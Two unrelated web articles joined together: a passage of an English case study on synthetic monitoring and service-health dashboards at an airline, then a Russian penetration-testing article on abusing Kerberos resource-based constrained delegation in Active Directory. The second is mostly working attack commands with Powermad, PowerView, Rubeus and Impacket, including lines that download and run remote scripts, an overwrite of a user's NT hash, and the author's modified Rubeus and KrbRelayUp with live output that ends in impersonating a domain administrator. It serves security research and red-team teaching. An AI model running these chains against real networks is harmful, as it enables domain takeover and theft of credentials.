3. Build a resource-service model of services within the entire IT infrastructure,
4. Configure alert-based automatic responses and test the script-based automation capabilities.
To install the platform and the necessary environment for functional monitoring, we needed to allocate 11 virtual machines (4 went for monq, 7 for Jenkins nodes). Allocating resources was perhaps the longest phase of our project.
Synthetic monitoring
--------------------
Synthetic monitoring is an imitation of actions that could be performed by users or external systems, followed by monitoring the results of these actions. It is sometimes also referred to as functional monitoring or synthetic transaction monitoring.
As I wrote above, in this project we needed to show the client that we can test web interfaces, desktop applications, and check the availability of business functions.
As a result, a number of functional autotests were written that tested business functions. The tests were relatively small and consisted of several steps, the periodicity of launching the tests was 5 minutes. The key issue was to check authorization in systems and to check the delivery of visualised important information for end users. For each step in the test, triggers were configured for exceeding the step critical execution time.
In the end, we saw the test results, based on which it was already possible to evaluate the work of the business functions of our applications, due to the fact that an error, because of which one or another step has failed, is visible in the interface and a screenshot of the error is available at any moment.
*An example of authorization check on an intranet portal*
*An example of checking the availability of the table of flights*
I will describe in more details the logic of a web test, step by step (the pictures are mostly in russian since they are real screenshots of the working installation in one of the russian airlines).
**1. Open the authorization portal page. Check if there is a text - "Single sign-on":**
```
browser.timeout = 25
with allure.step('Step 1. Opening the login page'):
try:
browser.get("https://***/")
browser.xpath("/html/body/div[2]")
assert browser.xpath("/html/body/div[2]/div[1]/span[contains(text(), 'Single sign-on:')]")
allure.attach('screenshot', browser.get_screenshot_as_png(), type=AttachmentType.PNG)
except:
allure.attach('error_screen', browser.get_screenshot_as_png(), type=AttachmentType.PNG)
raise
```
**2. We enter the required authorization data and click on the "Login" button:**
```
with allure.step(‘Step 2. User authorization'):
try:
smi_login = browser.xpath("//*[@id='IDToken1']")
smi_login.click()
smi_login.send_keys("***")
smi_password = browser.xpath("//*[@id='IDToken2']")
smi_password.click()
smi_password.send_keys("***")
browser.xpath("/html/body/div[2]/div[2]/form/input[1]").click()
assert browser.xpath("/html/body/app-root/div/div/s7-header/div/div/div/div/div[1]/h1[contains(text(), 'Flight table')]")
allure.attach('screenshot', browser.get_screenshot_as_png(), type=AttachmentType.PNG)
except:
allure.attach('error_screen', browser.get_screenshot_as_png(), type=AttachmentType.PNG)
raise
```
**3. Open the page with information on the flight. Select a flight, click on it, the flight information window opens and check for the presence of the text "Flight Information":**
```
with allure.step('Step 3. Opening the flight information page'):
try:
browser.xpath("//*[@id='flightTable']/tbody/tr[1]/td[1]").click()
browser.xpath("/html/body/app-root/div/div/main/flight-info/div/div/leg-info/div/div/div[1]/div[1]/passengers-summary/div/div[1]/div[2]/div[1][contains(text(), 'Flight Information')]")
allure.attach('screenshot', browser.get_screenshot_as_png(), type=AttachmentType.PNG)
except:
allure.attach('error_screen', browser.get_screenshot_as_png(), type=AttachmentType.PNG)
raise
```
Digital health of services
--------------------------
A digital health metric is a metric that shows how much an IT infrastructure element, service or business function meets the needs of customers (other IT components or end users). The service health is calculated based on internal audits and the impact of influence from other RSM related IT components. For example, if we have three database nodes, with one master and two slaves, and the master node goes down then the health will drop to zero, and if a slave node goes down then the health simply be less than 100%, in accordance with the weighting coefficients of influence as defined in the solution architecture.
So, at this stage, the platform has already received events, the results of synthetic checks were present and we proceeded to one of the most interesting things - the creation of a resource-service model for the terminals in which flight crews undergo check-in.
We have divided all terminals into points of presence (airports) and their actual location inside the building, so that it would be easier to navigate visually and later it would be easier to set up automation, depending on location and its importance.
*The RSM screen shows relationships among elements and their influence on each other. In the event of a failure in one CU, the associated CUs will light up in red.*
*One can also look at the state of the elements on the RSM map with their contributions to the CU health level.*
For convenience, we have set up several different RSM views for different levels of employees.
L1 - the health of the "business" as a whole is visible.
L2 - health of separate information systems. We also included the results of functional monitoring here. If we see errors in the tests, we can go deeper and see in more detail what is happening at the infrastructure level and what events contribute to the degradation or inaccessibility of the IT systems.
L3 is the most detailed view that describes the workings of every single element in the infrastructure.
*At the top level you can see the health of the main IT services of the company.*
Based on the health metrics of the services we set up automatic responses, where for some events scripts were set up to control the end devices. But this is another story so I will not describe it within the framework of this article. Most importantly, in two months we configured the visual display of the most important IT health metrics for business, built on synthetic checks of logs and metrics from the IT infrastructure with root cause analysis. The cost of software products for these two months was less than 150 thousand rubles (about $2000), and labor costs - 2.5 people at full time. It seems to me a good result. Any APM solution would be an order of magnitude more expensive. | https://habr.com/ru/post/560820/ | null | en | null |
# Делегируй меня полностью, или Новый взгляд на RBCD-атаки в AD
«Злоупотребление ограниченным делегированием Kerberos на основе ресурсов» — как много в этом звуке!
Точнее уже не просто звуке и даже не словосочетании, а целом классе наступательных техник в доменной среде Active Directory. Вот уже как больше трех лет, казалось бы, вполне себе легитимный механизм, помогающий трехголовому псу стоять на страже даже там, где нет этих ваших «тикетов», служит грозным оружием всех пенетраторов Windows-сетей. Не знаю никого, кто использовал бы RBCD по назначению, честно.
В этой статье хотелось бы остановиться на таком интересном пограничном случае применения этой атаки, как RBCD с UPN-ами, но не SPN-ами.
### 1. Сферическое RBCD в вакууме
Ограниченное делегирование на основе ресурсов (Resource-Based Constrained Delegation, RBCD) появилось в ОС Windows Server 2012 и представляет из себя концепцию олицетворения пользователей сервером (то есть сервисной учетной записью) в ситуации, когда пользователь проходит проверку подлинности **по паролю**, а серверу нужно выполнить то или иное действие от его имени по Kerberos-билету в информационной системе по соседству.
Классический пример, который приводится для объяснения, зачем вообще нужны разные виде делегирования в AD — это пример с веб-сервером и базой данных. Не будем отходить от этой традиции и мы, поэтому посмотрим на рисунок ниже.
Сферическое делегирование в вакуумеЧто здесь происходит:
1. Пользователь `snovvcrash` проходит проверку подлинности на веб-сервере `WEB01`, предоставляя в качестве «доказательства аутентичности» свой пароль. Аутентификация проходит по протоколу NTLM, потому что `snovvcrash` находится за пределами доменной сети и не обладает возможностью передать билет Kerberos.
2. Веб-сервер видит, что ему не дали тикета в ходе аутентификации, поэтому в игру вступает транзитное расширение протокола Kerberos [**S4U2self**](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/02636893-7a1f-4357-af9a-b672e3e3de13)(Service for User to Self), предназначенное для получения «пробрасываемого» (Forwardable, билет с правом передачи) TGS-билета на самого себя у контроллера домена от имени целевого пользователя. Это позволит веб-серверу запросить следующий TGS-билет на службу БД `SQL01` в шаге 3.
3. Активация следующей фазы транзитного расширения Kerberos – [**S4U2proxy**](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/bde93b0e-f3c9-4ddf-9f44-e1453be7af5a)(Service for User to Proxy). В ходе этой процедуры веб-сервер может предоставить в качестве доказательства TGS-билет из шага 2 для получения TGS-билета на службу `SQL01` от имени целевого пользователя `snovvcrash`.
4. Веб-сервер получает возможность получения доступа к базе данных `SQL01`, олицетворяя пользователя `snovvcrash`.
Важно отметить, что в концепции RBCD-делегирования право получения доступа к службе `SQL01` веб-сервером `WEB01` с олицетворением других пользователей определяет сама служба `SQL01`. Данный процесс происходит путем записи в свойство с непроизносимым называнием `msDS-AllowedToActOnBehalfOfOtherIdentity` объекта службы (компьютера) `SQL01` значения SID-а учетной записи `WEB01$`. Это отличает ограниченное делегирование на основе ресурсов от классического ограниченного делегирования (Kerberos Constrained Delegation, KCD).
### 2. Злоупотребление сферическим RBCD в вакууме
— «Круто, и что со всем этим делать?», — спросил системный администратор.
— «Злоупотребл#ть, разумеется», — ответил пентестер.
В 2019 году исследователь Элад Шамир ([@elad\_shamir](https://twitter.com/elad_shamir)) опубликовал пугающий своими размерами ресерч [Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html), ставший краеугольным камнем в развитии методов злоупотребления механизмом ограниченного делегирования на основе ресурсов.
В этом пункте я не буду подробно останавливаться на теоретической части эксплуатации RBCD Abuse, так как материалов на просторах Интернета хватает (в конце оставлю ссылки). Вместо этого давайте лучше вместе проведем эту атаку «вживую», чтобы более плавно подойти к тем самым нововведениям, которые недавно были открыты специалистом Джеймсом Форшоу ([@tiraniddo](https://twitter.com/tiraniddo)). Нетерпеливые могут сразу прыгать в пункт 3.
#### 2.1 Эксплуатация RBCD Abuse с Windows
С данной атакой я впервые познакомился в момент [прохождения](https://snovvcrash.rocks/2020/12/28/htb-hades.html#abusing-kerberos-resource-based-constrained-delegation) лаборатории [Hades](https://www.hackthebox.com/home/endgame/view/3) на Hack The Box, и в тот момент это казалось самым сложным, что вообще бывает в AD-эксплуатации (как же я ошибался, да?). Классический вариант абьюза RBCD проводится с Windows с помощью тройки благородных инструментов: [Powermad](https://github.com/Kevin-Robertson/Powermad), [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1), [Rubeus](https://github.com/GhostPack/Rubeus).
Допустим, мы скомпрометировали доменного пользователя `TINYCORP\AngaraUser`, обладающего правом на запись в объект машины `MOSCOW.tinycorp.net`. В этом случае для получения административного доступа к службам `MOSCOW` нам понадобится вспомогательный машинный аккаунт (или любая другая УЗ с записью SPN) для того, чтобы вписать значение его SID-а в свойство `msDS-AllowedToActOnBehalfOfOtherIdentity` объекта `MOSCOW` и далее делегировать этой вспомогательной машине право олицетворения привилегированных (или других) пользователей в отношении атакуемого хоста `MOSCOW`.
Машинный аккаунт (или, другими словами, сервисную учетку с записями SPN) атакующий может создать в домене Active Directory, обладая минимальным аутентифицированным доступом. Свойство `ms-DS-MachineAccountQuota`, по умолчанию равное 10, определяет количество компьютеров, разрешенных для ввода в домен обычными пользователями одновременно. Этим и пользуется инструмент Powermad.
Cmd
```
Get-ADObject -Identity "DC=tinycorp,DC=net" -Properties * | select ms-ds-machineAccountQuota
IEX(New-Object Net.WebClient).DownloadString("https://github.com/Kevin-Robertson/Powermad/raw/master/Powermad.ps1")
New-MachineAccount -MachineAccount AngaraMachine -Password $(ConvertTo-SecureString "Passw0rdMach1ne" -AsPlainText -Force) -Verbose
```
Создаем вспомогательную машинную учетку (Windows)Теперь, обладая подконтрольной УЗ `TINYCORP\AngaraMachine$`, мы можем скрафтить дескриптор безопасности DACL, разрешающий доступ (**Allow**) `AngaraMachine$`, и присвоить его свойству `msDS-AllowedToActOnBehalfOfOtherIdentity` машинного объекта `MOSCOW`. Сделать это можно, например, с помощью PowerView, если нет возможности использовать стандартный модуль ActiveDirectory.
Cmd
```
IEX(New-Object Net.WebClient).DownloadString("https://github.com/PowerShellMafia/PowerSploit/raw/dev/Recon/PowerView.ps1")
Get-DomainObjectAcl -Identity MOSCOW -ResolveGUIDs | ? {$_.ObjectAceType -eq "ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity" -and $_.SecurityIdentifier -eq "S-1-5-21-1230029644-1443616230-1161330039-2187"}
$ComputerSid = Get-DomainComputer AngaraMachine -Properties ObjectSid -Verbose | Select -Expand ObjectSid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer MOSCOW -Verbose | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDBytes} -Verbose
Get-ADComputer MOSCOW -Properties * | select -Expand msds-allowedToActOnBehalfOfOtherIdentity
Get-ADComputer MOSCOW -Properties * | select DistinguishedName,Name,SID,sAMAccountName,msDS-AllowedToActOnBehalfOfOtherIdentity | fc -Depth 1
```
Изменяем свойство msDS-AllowedToActOnBehalfOfOtherIdentity (Windows)Смотрим DACL внутри msDS-AllowedToActOnBehalfOfOtherIdentityНу а теперь мы просто используем Rubeus для проведения полной цепочки атаки S4U, в ходе которой, как было описано раньше, будут выполнены задействованы процедуры S4U2self & S4U2proxy для получения TGS-билета Kerberos и олицетворения привилегированной УЗ `TINYCORP\Administrator` в отношении служб HOST и HTTP (целимся в WinRM) компьютера `MOSCOW`.
Cmd
```
wget https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.0_Any/Rubeus.exe -o Rubeus.exe
.\Rubeus.exe hash /password:Passw0rdMach1ne
.\Rubeus.exe s4u /user:AngaraMachine$ /rc4:1A4C60A12EFCAA9984543C5F759D3CFD /impersonateuser:administrator /msdsspn:host/MOSCOW.tinycorp.net /altservice:http /nowrap /createnetonly:C:\Windows\System32\cmd.exe /show
powershell
Enter-PSSession MOSCOW.tinycorp.net
```
Проводим атаку S4U (Windows)Если лень делать все вышеописанное вручную, можно воспользоваться [актуальным форком PowerView](https://github.com/ZeroDayLab/PowerSploit/blob/master/Recon/PowerView.ps1), где появился командлет `Set-DomainRBCD`, частично автоматизирующий процесс, описанный выше. Пример использования можно подсмотреть [в моем прохождении](https://snovvcrash.rocks/2021/08/07/htb-rpg.html#rbcd-from-windows) другой лабы [RPG](https://www.hackthebox.com/home/endgame/view/4) с Hack The Box.
#### 2.2 Эксплуатация RBCD Abuse с Linux
То же самое может быть легко проделано с Linux-хоста благодаря коллекции скриптов [Impacket](https://github.com/SecureAuthCorp/impacket). Покажем это.
Создаем машинную учетку с помощью [addcomputer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/addcomputer.py).
Cmd
```
cme ldap 172.22.0.2-3 -u AngaraUser -p 'Passw0rdUs3r!'
cme ldap 172.22.0.2 -u AngaraUser -p 'Passw0rdUs3r!' -M MAQ
findDelegation.py tinycorp.net/AngaraUser:'Passw0rdUs3r!' -dc-ip 172.22.0.2
addcomputer.py -computer-name AngaraMachine -computer-pass 'Passw0rdMach1ne' -dc-ip 172.22.0.2 tinycorp.net/AngaraUser:'Passw0rdUs3r!'
```
Создаем вспомогательную машинную учетку (Linux)Навешиваем ее на атакуемый хост `MOSCOW`, как разрешенную для делегирования S4U с помощью [rbcd.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/rbcd.py).
Cmd
```
rbcd.py -delegate-from 'AngaraMachine$' -delegate-to 'MOSCOW$' -dc-ip 172.22.0.2 -action write tinycorp.net/AngaraUser:'Passw0rdUs3r!'
rbcd.py -delegate-to 'MOSCOW$' -dc-ip 172.22.0.2 -action read tinycorp.net/AngaraUser:'Passw0rdUs3r!'
findDelegation.py tinycorp.net/AngaraUser:'Passw0rdUs3r!' -dc-ip 172.22.0.2
```
Изменяем свойство msDS-AllowedToActOnBehalfOfOtherIdentity (Linux)Запрашиваем тикет с олицетворением администратора домена в отношении службы CIFS (целимся в DCE/RPC) компьютера `MOSCOW` с помощью [getST.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/getST.py).
Cmd
```
getST.py -spn cifs/MOSCOW tinycorp.net/AngaraMachine:'Passw0rdMach1ne' -dc-ip 172.22.0.2 -impersonate administrator
KRB5CCNAME=administrator.ccache wmiexec.py -k -no-pass MOSCOW -shell-type powershell
```
Проводим атаку S4U (Linux)Это всего лишь один пример, как можно злоупотреблять механизмом RBCD «в лоб». В связке с другими цепочками атак такое злоупотребление мутирует, превращаясь в очень опасные формы повышения привилегий — от локальных атак для LPE (например, в связке с относительно новой атакой Kerberos Relay) до получения прав администратора домена в несколько команд (говорили об этом [в этой статье](https://habr.com/ru/post/594923/)).
Интересное чтиво по теме* [S4U2Pwnage | by Will Schroeder | Medium](https://harmj0y.medium.com/s4u2pwnage-36efe1a2777c)
* [Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory | Shenanigans Labs](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
* [A Case Study in Wagging the Dog: Computer Takeover | by Will Schroeder | Posts By SpecterOps Team Members](https://posts.specterops.io/a-case-study-in-wagging-the-dog-computer-takeover-2bcb7f94c783)
* [SensePost | Chaining multiple techniques and tools for domain takeover using rbcd](https://sensepost.com/blog/2020/chaining-multiple-techniques-and-tools-for-domain-takeover-using-rbcd/)
* [CVE-2020-17049: Kerberos Bronze Bit Attack - Theory](https://www.netspi.com/blog/technical/network-penetration-testing/cve-2020-17049-kerberos-bronze-bit-theory/)
* [CVE-2020-17049: Kerberos Bronze Bit Attack - Practical Exploitation](https://www.netspi.com/blog/technical/network-penetration-testing/cve-2020-17049-kerberos-bronze-bit-attack/)
* [eXploit – Delegate 2 Thyself](https://exploit.ph/delegate-2-thyself.html)
* [eXploit – Revisiting 'Delegate 2 Thyself'](https://exploit.ph/revisiting-delegate-2-thyself.html)
* [Red Team Privilege Escalation - RBCD Based Privilege Escalation - Praetorian](https://www.praetorian.com/blog/red-team-privilege-escalation-rbcd-based-privilege-escalation-part-2/)
### 3. Атакуем конфигурации RBCD без вспомогательной машинной УЗ
«Итак, а в чем же новый взгляд, snovvcrash?» — спросите вы.
Так вот. Несколько месяцев назад исследователь команды Google Project Zero Джеймс Форшоу в треде обсуждения недавнего на тот момент вторника обновлений Microsoft в Твиттере [выдвинул](https://twitter.com/tiraniddo/status/1524452662300737538?s=20&t=rEoUJVz-vgHfWaPRrN2jFA) поистине гениальное в своей простоте предположение о том, что нам по сути-то и не нужна **машинная** учетная запись для делегирования ей привилегий — для этого хватит и учетки простого пользователя. В последствии это предположение было подтверждено им же [в небольшой заметке](https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html), легшей в основу этой публикации.
Почему вообще это важно? Все чаще и чаще на проектах мы сталкиваемся с тем, что свойство `ms-DS-MachineAccountQuota` в AD равно 0 (как мы и рекомендуем в своих отчетах). Таким образом, у низкопривилегированных пользователей больше нет прав для создания сервисных учеток, а ввод новых компьютеров в домен делегирован системным администраторам. Но продолжать ломать же нужно 😈 Поэтому предлагаю рассмотреть новый вектор абьюза RBCD с единственной подконтрольной УЗ обычного пользователя. Но для начала постараемся понять, а для чего вообще нам была нужна машинная учетка?
Все просто. Для того, чтобы служба KDC (Key Distribution Center) контроллера домена могла зашифровать TGS-билеты, выдаваемые нам в процессе взаимодействий S4U, она должна знать, какой ключ для этого использовать. В случае с машинной УЗ это не вызывает проблем, так как ее долговременный ключ ищется KDC по значению записей SPN (Service Principal Name), по умолчанию создаваемых для нового хоста.
Service Principal NameОднако, если я укажу другую (свою же) **пользовательскую** учетку для записи в дескриптор свойства `msDS-AllowedToActOnBehalfOfOtherIdentity`, цепочка S4U сфейлится, не пройдя фазу S4U2self. Ошибка `KDC_ERR_S_PRINCIPAL_UNKNOWN` непрозрачно намекает на свою природу: KDC не может найти ключ по значению SPN в силу его отсутствия.
Cmd
```
IEX(New-Object Net.WebClient).DownloadString("https://github.com/ZeroDayLab/PowerSploit/raw/master/Recon/PowerView.ps1")
Set-DomainRBCD MOSCOW -DelegateFrom AngaraUser -Verbose
.\Rubeus.exe hash /password:Passw0rdUs3r!
.\Rubeus.exe s4u /user:AngaraUser /rc4:1917DF0DA95E9E1E02218BBD1581C481 /impersonateuser:administrator /msdsspn:host/MOSCOW.tinycorp.net /altservice:http /nowrap /createnetonly:C:\Windows\System32\cmd.exe /show
```
Никаких тебе S4U с УЗ пользователя**Но!** Мы не должны забывать, что у пользовательских УЗ также есть принципиал, однозначно их характеризующий — это UPN (User Principal Name).
User Principal NameИз [исследования](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) Элада Шамира о злоупотреблении механизмом Shadow Credentials мы знаем о существовании механизма [**U2U**](http://www.di-srv.unisa.it/~ads/corso-security/www/CORSO-0001/kerberos/ref/kerberos-faq.html#u2uauth) (User to User), подобного S4Uself, однако применяемого к пользовательским учетным записям. Будучи используемым как составляющая протокола [PKINIT](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pkca/d0cf1763-3541-4008-a75f-a577fa5e8c5b), U2U позволяет пользователю получить доступ **к своему же** долговременному ключу (хешированному паролю) для того, чтобы использовать его в ходе NTLM-аутентификации в приложениях, не поддерживающих Kerberos-аутентификацию.
В ходе процедуры U2U пользователь запрашивает у KDC билет TGS, содержащий NT-хеш пользователя в структуре `PAC_CREDENTIAL_INFO`, зашифрованной на кратковременном сессионном ключе. Таким образом пользователь может расшифровать эту структуру и извлечь свой NT-хеш.
Атака на PKINIT (изображение – posts.specterops.io)В Rubeus есть возможность запроса TGS-билета, используя U2U. Поэтому почему бы нам с этим не поиграть? Для начала я запрошу самый обычный TGT-билет.
Cmd
```
.\Rubeus.exe asktgt /user:AngaraUser /password:Passw0rdUs3r!
```
Запрашиваем TGT-билетЗапомним его сессионный ключ, он понадобится нам позже. Далее, согласно схеме выше, я запрошу TGS-билет по протоколу U2U, предоставляя в качестве «доказательства» свой TGT-билет. Согласно [документации](https://github.com/GhostPack/Rubeus#asktgs) Rubeus мы можем отправить этот же TGT-билет вместе с аргументом `/tgs` (этого требует PKINIT), а также указать опцию `/targetuser` для того, чтобы в структуре `PAC_CREDENTIAL_INFO` оказался аутентификатор пользователя, которого мы хотим олицетворить (например, администратора).
Cmd
```
.\Rubeus.exe asktgs /u2u /targetuser:administrator /ticket: /tgs:
```
Запрашиваем TGS-билет по протоколу U2UТеперь я могу использовать этот TGS в роли доказательства того, что я прошел этап S4Uself, и таким образом пропустить его инициирование в модуле `s4u`. Однако нас ждет новая сложность.
Cmd
```
.\Rubeus.exe s4u /msdsspn:host/MOSCOW.tinycorp.net /altservice:http /createnetonly:C:\Windows\System32\cmd.exe /show /ticket: /tgs:
```
И снова никаких тебе S4U с УЗ пользователяОшибка `KDC_ERR_BADOPTION`, по словам автора оригинального исследования, может означать, что KDC не смог расшифровать TGS-билет, отправленный ему на шаге S4U2proxy. Почему так произошло? В силу того, что мы «считерили» на этапе S4Uself, оправив собственный TGS-билет, полученный в результате U2U, контроллер домена не смог его расшифровать, так как попытался это сделать с помощью долговременного ключа (NT-хеша) пользователя `AngaraUser`. Но этот билет зашифрован на сессионном ключе, а не на долговременном! Что если сменить пароль пользователю `AngaraUser` на значение кратковременного сессионного ключа его TGT? Возможно, в этом случае, KDC пойдет в NTDS, извлечет NT-хеш `AngaraUser` (уже совпадающий с сессионным ключом билета TGT) и сумеет успешно расшифровать тикет? Спойлер: **да**.
Как мы можем изменить NT-хеш пароля `AngaraUser`, а не само значение пароля? Некоторое время назад я портировал скрипт [NTLMInjector.ps1](https://github.com/vletoux/NTLMInjector/blob/master/NTLMInjector.ps1) на Python для Impacket (см. [smbpasswd.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbpasswd.py)), где использовал вызов мало документированной функции [SamrSetInformationUser](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/538222f7-1b89-4811-949a-0eac62e38dce), принимающей в качестве одного из аргументов структуру `SamrSetInformationUser.Buffer`. Внутри этой структуры мы можем указать новую пару LM:NT хешей, которые будут установлены для целевого пользователя.
Этично ли менять пароли пользователей в «боевой» ситуации на проекте?Однозначно нет. Однако почти всегда при проведении атак Password Spraying ([T1110.003](https://attack.mitre.org/techniques/T1110/003/)) мы обнаруживаем ~~Богом~~ заказчиком забытые учетки, пароли которых давно просрочены. Это может означать, что ими уже давно никто не пользуется и что смена их пароля не принесет вреда бизнес-процессам / рабочим процессам сотрудников компании. **После согласования** такого вмешательства мы можем это сделать, ведь у реальных злоумышленников не будет этических ограничений 😉
Я использую тот сессионный ключ, который мы запомнили, для смены долговременного ключа пользователя `AngaraUser` с помощью smbpasswd.py.
> **Примечание № 1:** в ходе тестирования я использую креды доменадмина для инжекта NTLM-хешей, однако чуть позже мы сделаем так, чтобы такую смену «пароля» (хешей) мог проворачивать сам низкопривилегированный пользователь `AngaraUser`.
>
> **Примечание № 2**: прежде чем менять хеш УЗ, из-под которой вы работаете в текущем сеансе, рекомендую убедиться, что парольная политика в домене впоследствии позволит сменить его еще раз на такое значение, для которого вы знаете пароль в открытом виде (другими словами, что максимальный срок действия пароля > 0). В противном случае, придется довольствоваться лишь аутентификацией по техникам Pass-the-Hash / Overpass-the-Hash.
>
>
Cmd
```
import binascii, base64
print(binascii.hexlify(base64.b64decode("")).decode())
```
Устанавливаем новые хеши для AngaraUserИ теперь я снова попробую провести атаку S4U.
Cmd
```
.\Rubeus.exe asktgs /u2u /targetuser:administrator /ticket: /tgs:
powershell
Enter-PSSession MOSCOW.tinycorp.net
```
Now we're rocking!Вот и все, мы провели классическую RBCD-атаку без вспомогательной УЗ с записью SPN!
### 4. Автоматизация
Все это, конечно, круто, но у нас есть одна неразрешенная проблема: пароль пользовательской УЗ мы поменяли с Linux-тачки, кустарным методом, да еще и заюзали для этого привилегированные креды. На наше счастье рядом со скриптом NTLMInjector.ps1 лежит [SetNTLM.ps1](https://github.com/vletoux/NTLMInjector/blob/master/SetNTLM.ps1), еще и писанный на C#. Он позволит нам изменить пароль целевой УЗ с ее же привилегиями через вызов недокументированной функции `SamiChangePasswordUser`.
В smbpasswd.py тоже [есть](https://github.com/SecureAuthCorp/impacket/blob/3c6713e309cae871d685fa443d3e21b7026a2155/examples/smbpasswd.py#L96) реализация этого API, но почему-то мне не удалось завести это дело так, чтобы хеш не помечался как `STATUS_PASSWORD_EXPIRED` после его установки через Impacket. Это даже к лучшему, потому что было решено допилить функционал Рубеуса для полной автоматизации описанного процесса.
#### 4.1 Rubeus
Как говорит автор изначального ресерча, в Рубеусе уже все готово для проведения атаки, просто в CLI модуля `s4u` нет нужных аргументов. Чтобы исправить это, достаточно «протащить» флаг `bool u2u = true` до функции [NewTGSReq](https://github.com/GhostPack/Rubeus/blob/41c95e7385ec6e2aa46fcb354ab3cc94e8d24166/Rubeus/lib/krb_structures/TGS_REQ.cs#L23) класса `Rubeus/lib/krb_structures/TGS_REQ.cs`, вызываемой в `Rubeus/lib/S4U.cs`.
Rubeus/lib/S4U.csНу и, разумеется, позаимствовать сам код установки NTLM-хешей из скрипта, указанного выше.
Rubeus/lib/Samr.csКомпилируем, и вуаля — у нас готов кастомный Рубеус с новым флагом `/u2u` для модуля s4u, умеющий проводить S4U-атаку с пользюковой учеткой!
```
C:\Rubeus>Rubeus.exe s4u /u2u /domain:TINYCORP.net /user:AngaraUser /rc4:1917DF0DA95E9E1E02218BBD1581C481 /impersonateuser:administrator /msdsspn:host/MOSCOW /altservice:http /createnetonly:C:\Windows\System32\cmd.exe /show
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.1.1
[*] Action: S4U
[*] Using rc4_hmac hash: 1917DF0DA95E9E1E02218BBD1581C481
[*] Building AS-REQ (w/ preauth) for: 'TINYCORP.net\AngaraUser'
[*] Using domain controller: 172.22.0.2:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFfjCCBXqgAwIBBaEDAgEWooIEkTCCBI1hggSJMIIEhaADAgEFoQ4bDFRJTllDT1JQLk5FVKIhMB+g
...(snip)...
AwIBAqEYMBYbBmtyYnRndBsMVElOWUNPUlAubmV0
[*] Action: S4U
[*] Building S4U2self request for: 'AngaraUser@TINYCORP.NET'
[*] Using domain controller: DC01.TINYCORP.net (172.22.0.2)
[*] Sending S4U2self request to 172.22.0.2:88
[+] S4U2self success!
[*] Got a TGS for 'administrator' to 'AngaraUser@TINYCORP.NET'
[*] base64(ticket.kirbi):
doIFzzCCBcugAwIBBaEDAgEWooIE6TCCBOVhggThMIIE3aADAgEFoQ4bDFRJTllDT1JQLk5FVKIXMBWg
...(snip)...
ODA4MTgwNDA0WqgOGwxUSU5ZQ09SUC5ORVSpFzAVoAMCAQChDjAMGwpBbmdhcmFVc2Vy
[*] Action: Set User NT Hash
[*] Using domain controller: DC01.TINYCORP.net (172.22.0.2)
[*] [MS-SAMR] Obtaining handle to domain controller object
[*] [MS-SAMR] Obtaining handle to domain object
[*] [MS-SAMR] Obtaining handle to user object 'AngaraUser' with RID '2187'
[*] [MS-SAMR] Changing NT hash of user 'AngaraUser' to '416BAEF2200565A5CDA32D07DC57654D'
[+] NT hash change success!
[*] Impersonating user 'administrator' to target SPN 'host/MOSCOW'
[*] Final ticket will be for the alternate service 'http'
[*] Building S4U2proxy request for service: 'host/MOSCOW'
[*] Using domain controller: DC01.TINYCORP.net (172.22.0.2)
[*] Sending S4U2proxy request to domain controller 172.22.0.2:88
[+] S4U2proxy success!
[*] Substituting alternative service name 'http'
[*] base64(ticket.kirbi) for SPN 'http/MOSCOW':
doIGdDCCBnCgAwIBBaEDAgEWooIFjDCCBYhhggWEMIIFgKADAgEFoQ4bDFRJTllDT1JQLk5FVKIZMBeg
...(snip)...
WUNPUlAuTkVUqRkwF6ADAgECoRAwDhsEaHR0cBsGTU9TQ09X
[*] Showing process : True
[*] Username : U81A0RP5
[*] Domain : 2LQM6IG2
[*] Password : DM06UTIW
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 9488
[+] Ticket successfully imported!
[+] LUID : 0x2d9fa98
```
Мой PR [доступен на Гитхабе](https://github.com/GhostPack/Rubeus/pull/137), однако не думаю, что мы увидим его в «мастере», так как [@exploitph](https://twitter.com/exploitph) отчетливо [дал понять](https://github.com/GhostPack/Rubeus/pull/137#issuecomment-1185461999), что этот функционал слишком инвазивный, чтобы быть в апстриме утилиты.
#### 4.2 KrbRelayUp
Но и это еще не все! ~~Заказывая у нас пентест, вы получите~~ Я также решил форкнуть [нашумевший](https://www.microsoft.com/security/blog/2022/05/25/detecting-and-preventing-privilege-escalation-attacks-leveraging-kerberos-relaying-krbrelayup/) недавно KrbRelayUp, чтобы вооружить модуль `RELAY` для проведения этого подвида RBCD-атаки, что привело к появлению в нем опции `-u2u`.
```
C:\KrbRelayUp>KrbRelayUp.exe relay -u2u -cn AngaraUser -cp Passw0rdUs3r!
KrbRelayUp - Relaying you to SYSTEM
[+] Rewriting function table
[+] Rewriting PEB
[+] Init COM server
[+] Register COM server
[+] Forcing SYSTEM authentication
[+] Got Krb Auth from NT/SYSTEM. Relying to LDAP now...
[+] LDAP session established
[+] RBCD rights added successfully
